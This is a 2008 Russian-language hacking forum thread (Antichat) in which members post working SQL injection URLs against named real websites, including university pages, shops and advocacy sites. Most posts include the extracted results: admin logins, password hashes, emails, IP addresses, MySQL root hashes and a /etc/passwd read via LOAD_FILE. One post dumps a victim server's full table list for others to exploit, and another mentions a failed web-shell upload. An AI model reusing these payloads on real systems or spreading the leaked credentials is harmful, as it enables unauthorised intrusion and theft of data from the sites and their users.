ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6691  
Старый 29.09.2008, 22:47
neonik
Новичок
Регистрация: 05.09.2008
Сообщений: 4
Провел на форуме:
24533

Репутация: 4
По умолчанию

_http://yuutu.be/

_
Код HTML:
http://yuutu.be/index.php?loadpage=./includes/articleblock.php&articlecat=./includes/articleblock.php&articlecat=./includes/articleblock.php&articlecat=-1+union+select+1,version(),user(),4,5,6,7,8,9,10--
5.0.27-standard
yuutube_db@r5p.nswebhost.com
 
Ответить с цитированием

  #6692  
Старый 30.09.2008, 00:59
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

Код:
http://www.berneboek.com/shop/product.php?id=-1+union+select+concat_ws(email,0x3a,password),2,3,4+from+users+limit+2921,1/*
 
Ответить с цитированием

  #6693  
Старый 30.09.2008, 01:33
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

От нехер делать по http://yuutu.be/
Код:
http://yuutu.be/index.php?loadpage=./includes/articleblock.php&articlecat=./includes/articleblock.php&articlecat=./includes/articleblock.php&articlecat=-1+union+select+1,concat_ws(0x3a,userkey,username,password,ip,email),3,4,5,6,7,8,9,10+from+AMCMS_users+limit+0,1/*
1:admin:03a612184a8c36b697f330ab03ca5c692584027f:7 6.247.63.232:futhey@gmail.com
 
Ответить с цитированием

  #6694  
Старый 30.09.2008, 10:03
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843

Репутация: 204
По умолчанию

Код:
http://www.sport.v-lazer.com/news.php?ID=-16+union+select+1,2,3,column_name+from+information_schema.columns+where+table_name=0x6370673133325f7573657273+limit+4,1/*
таблица с пасами
 
Ответить с цитированием

  #6695  
Старый 30.09.2008, 11:06
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию

http://davinciinstitute.com/page.php?ID=-120'+union+select+1,2,3,concat_ws(0x3a,LoginName,P assword),5,6+from+AdminUsers/*
version() - 5.0.42
user() - davinci@localhost
database() - davinciinstitute_com
 
Ответить с цитированием

  #6696  
Старый 30.09.2008, 17:05
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

PHP код:
http://www.economics.neu.edu/exploring/index.php?pid=-3+union+select+1,version(),user(),4,5/* 
mysql - 5

PHP код:
http://artsci.wustl.edu/~history/faculty/index.php?pid=1+and+ascii(lower(substring(version(),1,1)))=53/*&action=dspPersonFull 
mysql - 5

PHP код:
http://www.mentorcollege.edu/index.php?pid=-3+union+select+1,2,3,version(),5/* 
mysql - 5

Последний раз редактировалось _Pantera_; 30.09.2008 в 17:32..
 
Ответить с цитированием

  #6697  
Старый 30.09.2008, 20:06
neonik
Новичок
Регистрация: 05.09.2008
Сообщений: 4
Провел на форуме:
24533

Репутация: 4
По умолчанию

_http://flakas.49.lt

Код HTML:
_http://flakas.49.lt/index.php?loadpage=./includes/articleblock.php&articlecat=-1
1:admin:0df2c3843ee8c2ca4c430b64c7b2f5ce2753c289:
78.62.125.196:info@49.lt

http://escapedturkey.com

Код HTML:
http://escapedturkey.com/cfaq/index.php?catid=-2+union+select+concat(username,0x3a,password),2+FROM+cfaq_admin/*
Database Version: 5.0.45-community
Database name: escapedtur_faq
User name: et_rofaq@localhost

Последний раз редактировалось neonik; 30.09.2008 в 20:39..
 
Ответить с цитированием

  #6698  
Старый 30.09.2008, 21:56
-=Static=-
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
Провел на форуме:
347573

Репутация: 185
По умолчанию

Цитата:
Сообщение от Shaitan-Devil  
Код:
http://www.sport.v-lazer.com/news.php?ID=-16+union+select+1,2,3,column_name+from+information_schema.columns+where+table_name=0x6370673133325f7573657273+limit+4,1/*
таблица с пасами
Вот Список всех баз/таблиц на Мускульном серваке. Там не только пасы от галереи "Океан" =) У кого есть желание - копайте))

Код HTML:
OceanBase.cpg_albums
OceanBase.cpg_banned
OceanBase.cpg_categories
OceanBase.cpg_comments
OceanBase.cpg_config
OceanBase.cpg_ecards
OceanBase.cpg_exif
OceanBase.cpg_filetypes
OceanBase.cpg_pictures
OceanBase.cpg_temp_data
OceanBase.cpg_usergroups
OceanBase.cpg_users
OceanBase.cpg_votes
OceanBase.freehouses
bannerdb.phpads_acls
bannerdb.phpads_adclicks
bannerdb.phpads_adstats
bannerdb.phpads_adviews
bannerdb.phpads_affiliates
bannerdb.phpads_banners
bannerdb.phpads_cache
bannerdb.phpads_clients
bannerdb.phpads_config
bannerdb.phpads_images
bannerdb.phpads_session
bannerdb.phpads_targetstats
bannerdb.phpads_userlog
bannerdb.phpads_zones
catalog.course
catalog.firms
catalog.firms_copy
catalog.goods
catalog.goods_copy
catalog.groups
catalog.links
catalog.pict
catalog.pictures
catalog.podvid
catalog.podvid_copy
catalog.prices
catalog.sale
catalog.shops
catalog.shops_copy
catalog.shops_pict
catalog.spec
catalog.towns
catalog.towns_copy
catalog.vid
catalog.vid_copy
charity.contents
charity.news
condor.admin_modules
condor.admin_modules_content
condor.admin_users
condor.admin_users_rights
condor.cat
condor.catalog
condor.contents
condor.examples
condor.news
condor.type
dbt.actions
dbt.contents
dbt.leaders
dbt.news
dbt.services
dbt.shop_picts
dbt.shops
dbt.superlow
dbt.towns
dbt.vid
domain.groups
domain.ublocks
domain.ugroups
domain.users
lite.actionstatus
lite.and_photodocs
lite.and_photorep
lite.and_videodocs
lite.and_videorep
lite.artrubrics
lite.blocks
lite.brands
lite.bscripts
lite.category
lite.condor_actions
lite.condor_contacts
lite.condor_events
lite.condor_partners
lite.condor_projects
lite.countries
lite.dbt_actions
lite.dbt_actphotos
lite.dbt_contacts
lite.dbt_events
lite.dbt_partners
lite.dbt_prices
lite.dbt_products
lite.dbt_projects
lite.dbt_shops
lite.depts
lite.dmr_points
lite.dmr_actions
lite.dmr_actphotos
lite.dmr_contacts
lite.dmr_events
lite.dmr_market
lite.dmr_marketdocs
lite.dmr_products
lite.dmr_reclama
lite.dmr_reclamadocs
lite.dmr_service
lite.dmr_suvenir
lite.doctype
lite.eventstatus
lite.gonets_actions
lite.gonets_actphotos
lite.gonets_contacts
lite.gonets_events
lite.gonets_np
lite.gonets_partners
lite.gonets_prices
lite.gonets_projects
lite.gonets_service
lite.gonets_smiarticles
lite.linkcategory
lite.linkrubrics
lite.links
lite.linkstatus
lite.main_events
lite.mbscripts
lite.module_events
lite.numberstatus
lite.ocean_articles
lite.ocean_numbers
lite.ocean_photos
lite.partners
lite.partnersp
lite.prcategory
lite.prestige_actions
lite.prestige_contacts
lite.prestige_events
lite.prestige_partners
lite.prestige_prices
lite.prestige_projects
lite.prod_actions
lite.prod_actphotos
lite.prod_contacts
lite.prod_events
lite.prod_partners
lite.prod_prices
lite.prod_projects
lite.prod_shops
lite.prrubrics
lite.regions
lite.rodina_actions
lite.rodina_actphotos
lite.rodina_contacts
lite.rodina_events
lite.rodina_partners
lite.rodina_prices
lite.rodina_products
lite.rodina_projects
lite.rodina_smiarticles
lite.rubrics
lite.sercategory
lite.serrubrics
lite.smi
lite.sport_actions
lite.sport_actphotos
lite.sport_events
lite.sport_prices
lite.subscr
lite.subscrusers
lite.vega_actions
lite.vega_contacts
lite.vega_events
lite.vega_job
lite.vega_managers
lite.vega_partners
lite.vega_projects
lite.vega_smiarticles
lite.vll_actions
lite.vll_actphotos
lite.vll_contacts
lite.vll_events
lite.vll_partners
lite.vll_points
lite.vll_prices
lite.vll_projects
lite.vll_service
lite.zocean_actions
lite.zocean_actphotos
lite.zocean_contacts
lite.zocean_events
lite.zocean_partners
lite.zocean_points
lite.zocean_prices
lite.zocean_products
lite.zocean_projects
logistic._cn_articles
logistic._cn_configuration_log
logistic._cn_forms
logistic._cn_forms_categories
logistic._cn_forms_data
logistic._cn_news
logistic._cn_news_categories
logistic._cn_news_themes
logistic._cn_pages
logistic._cn_pages_blocks
logistic._cn_pages_context_menu
logistic._cn_pages_context_menu_items
logistic._cn_pages_internal_links
logistic._cn_pages_templates
logistic._cn_vacancies
logistic._cn_vacancies_categories
logistic._cn_vacancies_fields
logistic._eng_articles
logistic._eng_configuration_log
logistic._eng_forms
logistic._eng_forms_categories
logistic._eng_forms_data
logistic._eng_news
logistic._eng_news_categories
logistic._eng_news_themes
logistic._eng_pages
logistic._eng_pages_blocks
logistic._eng_pages_context_menu
logistic._eng_pages_context_menu_items
logistic._eng_pages_internal_links
logistic._eng_pages_templates
logistic._eng_vacancies
logistic._eng_vacancies_categories
logistic._eng_vacancies_fields
logistic._rus_articles
logistic._rus_banners
logistic._rus_banners_categories
logistic._rus_catalog_categories
logistic._rus_catalog_concerned_products
logistic._rus_catalog_groups
logistic._rus_catalog_products
logistic._rus_catalog_properties
logistic._rus_catalog_properties_def_values
logistic._rus_catalog_properties_discounts
logistic._rus_catalog_properties_table
logistic._rus_catalog_property_images
logistic._rus_catalog_property_types_images
logistic._rus_catalog_property_values
logistic._rus_catalog_ptypes
logistic._rus_configuration_log
logistic._rus_faq
logistic._rus_faq_categories
logistic._rus_forms
logistic._rus_forms_categories
logistic._rus_forms_data
logistic._rus_gallery
logistic._rus_gallery_categories
logistic._rus_hotprod
logistic._rus_hotprod_categories
logistic._rus_news
logistic._rus_news_categories
logistic._rus_news_themes
logistic._rus_pages
logistic._rus_pages_blocks
logistic._rus_pages_context_menu
logistic._rus_pages_context_menu_items
logistic._rus_pages_internal_links
logistic._rus_pages_templates
logistic._rus_vacancies
logistic._rus_vacancies_categories
logistic._rus_vacancies_fields
logistic.contents
logistic.conts
logistic.modules
logistic.news
logistic.sites
logistic.sites_alias
logistic.sites_languages
logistic.sites_modules
logistic.subscr
logistic.users
logistic.users_groups
logistic.users_roles
logistic.users_roles_groups
logistic.users_roles_permissions
papyrus.p_call
papyrus.p_call_goods
papyrus.p_call_theme
papyrus.p_cathegory
papyrus.p_company
papyrus.p_country
papyrus.p_goods
papyrus.p_theme
papyrus.p_user
pclub.banners
pclub.categories
pclub.contents
pclub.news
pclub.partners
pclub.towns
phpbb.phpbb_auth_access
phpbb.phpbb_banlist
phpbb.phpbb_categories
phpbb.phpbb_config
phpbb.phpbb_confirm
phpbb.phpbb_disallow
phpbb.phpbb_forum_prune
phpbb.phpbb_forums
phpbb.phpbb_groups
phpbb.phpbb_old_config
phpbb.phpbb_posts
phpbb.phpbb_posts_text
phpbb.phpbb_privmsgs
phpbb.phpbb_privmsgs_text
phpbb.phpbb_ranks
phpbb.phpbb_search_results
phpbb.phpbb_search_wordlist
phpbb.phpbb_search_wordmatch
phpbb.phpbb_sessions
phpbb.phpbb_sessions_keys
phpbb.phpbb_smilies
phpbb.phpbb_themes
phpbb.phpbb_themes_name
phpbb.phpbb_topics
phpbb.phpbb_topics_watch
phpbb.phpbb_user_group
phpbb.phpbb_users
phpbb.phpbb_vote_desc
phpbb.phpbb_vote_results
phpbb.phpbb_vote_voters
phpbb.phpbb_words
prestige.assert
prestige.city
prestige.contacts
prestige.events
prestige.lows
prestige.partners
prestige.rubrics
prestige.users
sotovik.spec
sotovik.towns
 
Ответить с цитированием

  #6699  
Старый 30.09.2008, 23:25
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

loveus.ru

http://loveus.ru/forum/?roomid=341/**/union/**/select/**/version(),2--

Версия MySQL:
5.1.26-rc
-------
Имя базы:
lovas
-------
Юзер:
admin@localhost

Данные по полям User,Password,File_priv из таблицы mysql.user:
-------
root:*8D2CB9C6E278D6BEB907831E7424A632C17C0641:Y
root:*8D2CB9C6E278D6BEB907831E7424A632C17C0641:Y
Dunkan:*6FD087AFBFB4C2995C3C0AD9D2D5FB582CDDBF46:Y
lovas:*47B11BE6589C2FDE355C316D9DB18DB0C06CC536:Y
admin:*8D2CB9C6E278D6BEB907831E7424A632C17C0641:Y
 
Ответить с цитированием

  #6700  
Старый 30.09.2008, 23:57
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

www.glaad.org
/etc/passwd
Цитата:
http://www.glaad.org/media/resource_kit_detail.php?id=-3495+UNION+SELECT+1,2,3,4,5,LOAD_FILE(0x2F6574632F 706173737764),7,8,9,10,11,12,13,14,15,16,17,18,19, 20
file_priv=y
Цитата:
http://www.glaad.org/media/resource_kit_detail.php?id=-3495+UNION+SELECT+1,2,3,4,5,file_priv,7,8,9,10,11, 12,13,14,15,16,17,18,19,20+from+mysql.user
document root
/www/www/doc-root/media/resource_kit_detail.php
залить нелл не удалось, ненашел папку справами на запись

www.dissentmagazine.org
Цитата:
http://www.dissentmagazine.org/online.php?id=-117+UNION+SELECT+1,concat_ws(0x3a,user_name,user_p assword),3,4,5,6,7,8,9,10+from+user
admin:32fea379cc31c22c27761ec9d08e630c
root:0643c3fdceb7e8eeeaa914850a1eec85
админку неискал, хеши не расшифровывал =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ